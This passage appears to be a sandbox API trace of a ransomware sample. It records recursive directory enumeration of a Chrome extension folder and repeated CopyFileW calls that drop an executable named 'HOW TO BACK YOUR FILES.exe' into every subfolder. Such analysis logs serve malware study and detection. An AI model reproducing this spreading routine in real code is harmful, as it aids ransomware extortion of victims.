	[0049.999] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.999] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.003] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.003] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e10ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e10ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.003] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.003] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.003] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0"
	[0050.003] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0"
	[0050.003] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.003] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.009] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.009] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e10ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e10ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.009] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.009] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.009] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata"
	[0050.010] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata"
	[0050.010] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.010] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.015] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.015] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e10ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e10ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.015] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.015] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.015] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales"
	[0050.015] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales"
	[0050.015] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.015] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.022] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.023] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e36c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e36c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.023] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.023] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.023] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW"
	[0050.023] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW"
	[0050.023] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.023] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.027] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.027] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e36c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e36c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.028] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.028] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.028] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN"
	[0050.028] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN"
	[0050.028] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.028] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.032] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.032] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e36c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e36c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.033] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.033] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.033] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi"
	[0050.033] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi"
	[0050.033] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.033] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.037] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.037] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e5cd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e5cd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.037] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.037] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.037] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk"
	[0050.037] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk"
	[0050.037] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.037] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.042] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.042] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e5cd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e5cd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.042] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.042] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.042] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr"
	[0050.042] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr"
	[0050.042] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.042] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.046] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35e5cd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35e5cd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.047] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.047] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.047] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th"
